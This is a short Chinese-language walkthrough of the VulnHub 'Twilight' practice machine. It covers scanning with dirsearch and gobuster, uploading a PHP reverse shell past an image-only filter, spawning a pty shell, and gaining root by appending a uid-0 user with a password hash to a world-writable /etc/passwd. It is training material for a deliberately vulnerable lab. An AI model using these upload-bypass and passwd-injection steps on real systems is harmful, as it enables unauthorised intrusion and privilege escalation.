TWILIGHT靶场详解
下载地址：https://download.vulnhub.com/sunset/twilight.7z
这是一个比较简单的靶场，拿到IP后我们扫描发现开启了超级多的端口
其实这些端口一点用都没有，在我的方法中
但是也有不同的方法可以拿权限，就需要这些开放的服务了
扫描目录时候我们发现有一个文件上传的目录，只能上传图片。
dirsearch -u http://192.168.102.199/gallery/
但是我们抓包的时候可以上传PHP文件，然后修改成图片类型。
这样就能上传一个反弹shell
然后我有扫描了一下上传后文件所在的目录，这里用了一个大字典扫描，小字典扫描不到。
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt -u http://192.168.102.199/gallery/
点击我们上传的php文件，下面那个也是我上传的。
这样我们kali就拿到了一个webshell
利用python3美化一下命令行，同时也提高了权限。
python3 -c "import pty;pty.spawn('/bin/bash')"
查看passwd文件的时候发现这个文件是所有人可读可写的。
我们就可以利用这个漏洞，插入一个新用户。
利用下面命令我们就可以插入一个新的有root权限的用户，密码需要加密，我们用openssl工具可以加密对应的账号密码。
echo 'tang:$1$tang$pBxlp5xZvZzeAXxc4Ki/v0:0:0:root:/root:/bin/bash' >> /etc/passwd
su tang登陆新用户发现就是root权限了。
